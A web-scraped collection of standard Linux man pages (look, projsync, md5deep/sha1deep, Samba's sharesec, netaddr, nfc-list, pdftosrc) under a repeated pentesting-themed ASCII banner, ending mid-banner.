Path to a dictionary file. The environment variable has greater priority than the dictionary path defined in the FILES segment.

FILES

/usr/share/dict/words

the dictionary

/usr/share/dict/web2

the alternative dictionary

HISTORY

The look utility appeared in Version 7 AT&T Unix.

EXAMPLES

sort -d /etc/passwd -o /tmp/look.dict look -t: root:foobar /tmp/look.dict

SEE ALSO

grep(1), sort(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The look command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2068 - Linux cli command projsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command projsync and provides detailed information about the command projsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the projsync.

NAME 🖥️ projsync 🖥️

Downloading tool of resource files

SYNOPSIS

projsync [–endpoint URL] [–local-geojson-file FILENAME] ([–user-writable-directory] | [–system-directory] | [–target-dir DIRNAME]) [–bbox west_long,south_lat,east_long,north_lat] [–spatial-test contains|intersects] [–source-id ID] [–area-of-use NAME] [–file NAME] [–all] [–exclude-world-coverage] [–quiet | –verbose] [–dry-run] [–list-files] [–no-version-filtering]

DESCRIPTION

projsync is a program that downloads remote resource files into a local directory. This is an alternative to downloading a proj-data-X.Y.Z archive file, or using the on-demand networking capabilities of PROJ.

The following control parameters can appear in any order:

–endpoint URL
Defines the URL where to download the master files.geojson file and then the resource files. Defaults to the value set in proj.ini

–local-geojson-file FILENAME
Defines the filename for the master GeoJSON files that references resources. Defaults to ${endpoint}/files.geojson

–user-writable-directory
Specifies that resource files must be downloaded in the user writable directory. This is the default.

–system-directory
Specifies that resource files must be downloaded in the ${installation_prefix}/share/proj directory. The user launching projsync should make sure it has writing rights in that directory.

–target-dir DIRNAME
Directory into which resource files must be downloaded.

–bbox west_long,south_lat,east_long,north_lat
Specify an area of interest to restrict the resources to download. The area of interest is specified as a bounding box with geographic coordinates, expressed in degrees in a unspecified geographic CRS. west_long and east_long should be in the [-180,180] range, and south_lat and north_lat in the [-90,90]. west_long is generally lower than east_long, except in the case where the area of interest crosses the antimeridian.

–spatial-test contains|intersects
Specify how the extent of the resource files are compared to the area of use specified explicitly with –bbox. By default, any resource files whose extent intersects the value specified by –bbox will be selected. If using the contains strategy, only resource files whose extent is contained in the value specified by –bbox will be selected.

–source-id ID
Restrict resource files to be downloaded to those whose source_id property contains the ID value. Specifying ? as ID will list all possible values.

–area-of-use NAME
Restrict resource files to be downloaded to those whose area_of_use property contains the NAME value. Specifying ? as NAME will list all possible values.

–file NAME
Restrict resource files to be downloaded to those whose name property contains the NAME value. Specifying ? as NAME will list all possible values.

–all
Ask to download all files.

–exclude-world-coverage
Exclude files which have world coverage.

-q / –quiet
Quiet mode

–verbose
New in version 8.1.

Verbose mode (more than default)

–dry-run
Simulate the behavior of the tool without downloading resource files.

–list-files
List file names, with the source_id and area_of_use properties.

–no-version-filtering
New in version 8.1.

By default, projsync only downloads files that are compatible of the PROJ_DATA.VERSION metadata of proj.db, taking into account the version_added and version_removed properties of entries in files.geojson. When specifying this switch, all files referenced in files.geojson will be candidate (combined with other filters).

At least one of –list-files, –file, –source-id, –area-of-use, –bbox or –all must be specified.

Options –file, –source-id, –area-of-use and –bbox are combined with a AND logic.

EXAMPLES

  1. Download all resource files

projsync –all

  1. Download resource files covering specified point and attributed to an agency

projsync –source-id fr_ign –bbox 2,49,2,49

SEE ALSO

cs2cs(1), cct(1), geod(1), gie(1), proj(1), projinfo(1)

BUGS

A list of known bugs can be found at https://github.com/OSGeo/PROJ/issues where new bug reports can be submitted to. Bugs specific to resource files should be submitted to https://github.com/OSGeo/PROJ-data/issues

HOME PAGE

https://proj.org/

AUTHOR

Even Rouault

COPYRIGHT

1983-2024, PROJ contributors

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2069 - Linux cli command sha1deep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha1deep and provides detailed information about the command sha1deep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha1deep.

NAME 🖥️ sha1deep 🖥️

Compute and compare MD5 message digests
sha1deep - Compute and compare SHA-1 message digests
sha256deep - Compute and compare SHA-256 message digests
tigerdeep - Compute and compare Tiger message digests
whirlpooldeep - Compute and compare Whirlpool message digests

SYNOPSIS

md5deep -v | -V | -h
md5deep [-m|-M|-x|-X <file>] [-a|-A <hash>] [-f <file>] [-p <size>] [-i <size>] [-tnwzresS0lbkqZud] [-F <bum>] [-o <fbcplsde>] [-j <num>] [[FILES]

DESCRIPTION

Computes the hashes, or message digest, for any number of files while optionally recursively digging through the directory structure. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-p <size>
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b, k, m, g, t, p, or e. (Never let it be said that the author didn’t plan ahead!) This mode cannot be used with the -z mode.

-i|-I <size>
Size threshold mode. Only hash files smaller than the given the threshold. In -i mode, simply omits those files larger than the threshold. In -I mode, displays all files, but uses asterisks for the hashes of files larger than the threshold. Sizes may be specified using IEC multipliers b, k, m, g, t, p, or e.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling md5deep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-m <file>
Enables matching mode. The file given should be a list of known hashes. The input files are examined one at a time, and only those files that match the list of known hashes are output. This flag may be used more than once to add multiple sets of known hashes. Acceptable formats for lists of known hashes are plain (such as those generated by md5deep or md5sum), Hashkeeper files, iLook, and the National Software Reference Library (NSRL) as produced by the National Institute for Standards in Technology.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -A flags. See the section “UNICODE SUPPORT” below.

-x <file>
Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-M and -X <file>
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-a <hash>
Adds a single hash to the list of known hashes used for matching mode, and if not already enabled, enables matching mode. Adding single hashes cannot, by itself, be used to print the hashes of matching files like the -M flag does. When used in conjunction with the -w flag, the filename displayed is just the hash submitted on the command line.
This flag may not be used in conjunction with the -x, -X, or -A flags.

-A <hash>
Same as -a above, but does negative matching. This flag may not be used in conjunction with the -m, -M, or -A flags.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
During any of the matching modes (-m,-M,-x,or -X), displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-t
Display a timestamp in GMT with each result. On Windows this timestamp will be the file’s creation time. On all other systems it should be the file’s change time.

-n
During any of the matching modes (-m,-M,-x,or -X), displays only the filenames of any known hashes that were not matched by any of the input files.

-s
Enables silent mode. All error messages are suppressed.

-S
Like silent mode, but still displays warnings on improperly formatted hashes in the list of known hashes.

-z
Enables file size mode. Prepends the hash with a ten digit representation of the size of each file processed. If the file size is greater than 9999999999 bytes (about 9.3GB) the program displays 9999999999 for the size.

-q
Quiet mode. File names are omitted from the output. Each hash is still followed by two spaces before the newline.

-Z
Produces output in Triage format. Each line contains the file’s size, a tab, a hash of the first 512 bytes, a tab, the hash of the complete file, a tab, and the file name. These values are intended in increasing order of specificity. That is, two files with different sizes cannot possibly match. This is a fast comparison and should be done first. Next, two files with different partial hashes cannot possibly match. This is often faster than hashing the whole file. Finally, if those two pieces align, then it’s worth reading and hashing the entire file.

-0
Uses a NULL character (/0) to terminate each line instead of a newline. Useful for processing filenames with strange characters.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-k
Enables asterisk mode. An asterisk is inserted in lieu of a second space between the filename and the hash, just like md5sum in its binary (-b) mode.

-c
Enables comma separated values output, or CSV mode. This mode has the side effect of removing the 10 digit size limitation from -z mode. Also note that asterisks from -k mode are not displayed when in CSV mode.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-v
Show the version number and exit.

-V
Show copyright information and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

md5deep was written by Jesse Kornblum, [email protected] and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The SHA-3-256 specification is available at
http://keccak.noekeon.org/

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2070 - Linux cli command sharesec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sharesec and provides detailed information about the command sharesec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sharesec.

NAME 🖥️ sharesec 🖥️

Set or get share ACLs

SYNOPSIS

sharesec {sharename} [-r, –remove=ACL] [-m, –modify=ACL] [-a, –add=ACL] [-R, –replace=ACLs] [-D, –delete] [-v, –view] [–view-all] [-M, –machine-sid] [-F, –force] [-d, –debuglevel=DEBUGLEVEL] [-s, –configfile=CONFIGFILE] [-l, –log-basename=LOGFILEBASE] [-S, –setsddl=STRING] [–viewsddl] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full]

DESCRIPTION

This tool is part of the samba(7) suite.

The sharesec program manipulates share permissions on SMB file shares.

OPTIONS

The following options are available to the sharesec program. The format of ACLs is described in the section ACL FORMAT

-a|–add=ACL

Add the ACEs specified to the ACL list.

-D|–delete

Delete the entire security descriptor.

-F|–force

Force storing the ACL.

-m|–modify=ACL

Modify existing ACEs.

-M|–machine-sid

Initialize the machine SID.

-r|–remove=ACL

Remove ACEs.

-R|–replace=ACLS

Overwrite an existing share permission ACL.

-v|–view

List a share acl

–view-all

List all share acls

-S|–setsddl=STRING

Set security descriptor by providing ACL in SDDL format.

–viewsddl

List a share acl in SDDL format.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

ACL FORMAT

The format of an ACL is one or more ACL entries separated by either commas or newlines. An ACL entry is one of the following:

REVISION: OWNER: GROUP: ACL:://

The revision of the ACL specifies the internal Windows NT ACL revision for the security descriptor. If not specified it defaults to 1. Using values other than 1 may cause strange behaviour.

The owner and group specify the owner and group SIDs for the object. Share ACLs do not specify an owner or a group, so these fields are empty.

ACLs specify permissions granted to the SID. This SID can be specified in S-1-x-y-z format or as a name in which case it is resolved against the server on which the file or directory resides. The type, flags and mask values determine the type of access granted to the SID.

The type can be either ALLOWED or DENIED to allow/deny access to the SID. The flags values are generally zero for share ACLs.

The mask is a value which expresses the access right granted to the SID. It can be given as a decimal or hexadecimal value, or by using one of the following text strings which map to the NT file permissions of the same name.

·

R - Allow read access

·

W - Allow write access

·

X - Execute permission on the object

·

D - Delete the object

·

P - Change permissions

·

O - Take ownership

The following combined permissions can be specified:

·

READ - Equivalent to RX permissions

·

CHANGE - Equivalent to RXWD permissions

·

FULL - Equivalent to RWXDPO permissions

EXIT STATUS

The sharesec program sets the exit status depending on the success or otherwise of the operations performed. The exit status may be one of the following values.

If the operation succeeded, sharesec returns and exit status of 0. If sharesec couldnt connect to the specified server, or there was an error getting or setting the ACLs, an exit status of 1 is returned. If there was an error parsing any command line arguments, an exit status of 2 is returned.

EXAMPLES

Add full access for SID S-1-5-21-1866488690-1365729215-3963860297-17724 on share:

host:~ # sharesec share -a S-1-5-21-1866488690-1365729215-3963860297-17724:ALLOWED/0/FULL

List all ACEs for share:

host:~ # sharesec share -v REVISION:1 CONTROL:SR|DP OWNER: GROUP: ACL:S-1-1-0:ALLOWED/0x0/FULL ACL:S-1-5-21-1866488690-1365729215-3963860297-17724:ALLOWED/0x0/FULL

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2071 - Linux cli command netaddr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netaddr and provides detailed information about the command netaddr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netaddr.

NAME 🖥️ netaddr 🖥️

interactive shell for netaddr Python library

DESCRIPTION

This manual page documents briefly the netaddr command. This manual page was written for the Debian distribution because the original program does not have a manual page.

netaddr is a Python library for the manipulation of various common network address notations and representations.

The netaddr command provides an interactive shell based on ipython allowing to work in a special environment where all netaddr related commands are available without additional imports.

OPTIONS

Any option accepted by ipython is accepted by netaddr.

SEE ALSO

ipython(1) /usr/share/doc/python-netaddr/api/

AUTHOR

This manual page was written by Vincent Bernat <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2072 - Linux cli command nfc-list

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-list and provides detailed information about the command nfc-list, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-list.

NAME 🖥️ nfc-list 🖥️

list - list NFC targets

SYNOPSIS

nfc-list [ options ]

DESCRIPTION

nfc-list is a utility for listing any available tags like ISO14443-A, FeliCa, Jewel or ISO14443-B (according to the device capabilities). It may detect several tags at once thanks to a mechanism called anti-collision but all types of tags don’t support anti-collision and there is some physical limitation of the number of tags the reader can discover.

This tool displays all available information at selection time.

OPTIONS

-v
Tells nfc-list to be verbose and display detailed information about the targets shown. This includes SAK decoding and fingerprinting is available.

-t X
Polls only for types according to bitfield value of X:

1: ISO14443A 2: Felica (212 kbps) 4: Felica (424 kbps) 8: ISO14443B 16: ISO14443B’ 32: ISO14443B-2 ST SRx 64: ISO14443B-2 ASK CTx 128: ISO14443B iClass 256: ISO14443A-3 Jewel 512: ISO14443A-2 NFC Barcode

So 1023 (default) polls for all types. Note that if 16, 32, 64 or 128 then 8 is selected too.

EXAMPLE

For an ISO/IEC 14443-A tag (i.e.Mifare DESFire):

ATQA (SENS_RES): 03 44 UID (NFCID1): 04 45 35 01 db 24 80 SAK (SEL_RES): 20 ATS (ATR): 75 77 81 02 80

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Roel Verdult <[email protected]>,
Romain Tartière <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Romuald Conty <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2073 - Linux cli command pdftosrc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdftosrc and provides detailed information about the command pdftosrc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdftosrc.

NAME 🖥️ pdftosrc 🖥️

extract source file or stream from PDF file

SYNOPSIS

pdftosrc PDF-file [stream-object-number]

DESCRIPTION

If only PDF-file is given as argument, pdftosrc extracts the embedded source file from the first found stream object with /Type /SourceFile within the PDF-file and writes it to a file with the name /SourceName as defined in that PDF stream object (see application example below).

If both PDF-file and stream-object-number are given as arguments, and stream-object-number is positive, pdftosrc extracts and uncompresses the PDF stream of the object given by its stream-object-number from the PDF-file and writes it to a file named PDF-file.stream-object-number with the ending .pdf or .PDF stripped from the original PDF-file name.

A special case is related to XRef object streams that are part of the PDF standard from PDF-1.5 onward: If stream-object-number equals -1, then pdftosrc decompresses the XRef stream from the PDF file and writes it in human-readable PDF cross-reference table format to a file named PDF-file**.xref** (these XRef streams can not be extracted just by giving their object number).

In any case an existing file with the output file name will be overwritten.

OPTIONS

None.

FILES

Just the executable pdftosrc.

ENVIRONMENT

None.

DIAGNOSTICS

At success the exit code of pdftosrc is 0, else 1.

All messages go to stderr. At program invocation, pdftosrc issues the current version number of the program xpdf, on which pdftosrc is based:

pdftosrc version 3.01

When pdftosrc was successful with the output file writing, one of the following messages will be issued:

Source file extracted to source-file-name

or

Stream object extracted to PDF-file.stream-object-number

or

Cross-reference table extracted to PDF-file.xref

When the object given by the stream-object-number does not contain a stream, pdftosrc issues the following error message:

Not a Stream object

When the PDF-file can’t be opened, the error message is:

Error: Couldn’t open file ‘PDF-file’.

When pdftosrc encounters an invalid PDF file, the error message (several lines) is:

Error: May not be a PDF file (continuing anyway)

(more lines)

Invalid PDF file

There are also more error messages from pdftosrc for various kinds of broken PDF files.

NOTES

An embedded source file will be written out unchanged, i. e. it will not be uncompressed in this process.

Only the stream of the object will be written, i. e. not the dictionary of that object.

Knowing which stream-object-number to query requires information about the PDF file that has to be gained elsewhere, e. g. by looking into the PDF file with an editor.

The stream extraction capabilities of pdftosrc (e. g. regarding understood PDF versions and filter types) follow the capabilities of the underlying xpdf program version.

Currently the generation number of the stream object is not supported. The default value 0 (zero) is taken.

The wording stream-object-number has nothing to do with the `object streams’ introduced by the Adobe PDF Reference, 5th edition, version 1.6.

EXAMPLES

When using pdftex, a source file can be embedded into some PDF-file by using pdftex primitives, as illustrated by the following example:

\immediate\pdfobj

stream attr {/Type /SourceFile /SourceName (myfile.zip)}

file{myfile.zip}

\pdfcatalog{/SourceObject he\pdflastobj\space 0 R}

Then this zip file can be extracted from the PDF-file by calling pdftosrc PDF-file.

BUGS

Not all embedded source files will be extracted, only the first found one.

Email bug reports to [email protected].

SEE ALSO

xpdf(1), pdfimages(1), pdftotext(1), pdftex(1),

AUTHORS

pdftosrc written by Han The Thanh, using xpdf functionality from Derek Noonburg.

Man page written by Hartmut Henkel.

COPYRIGHT

Copyright (c) 1996-2006 Han The Thanh, <[email protected]>

This file is part of pdfTeX.

pdfTeX is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

pdfTeX is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with pdfTeX; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
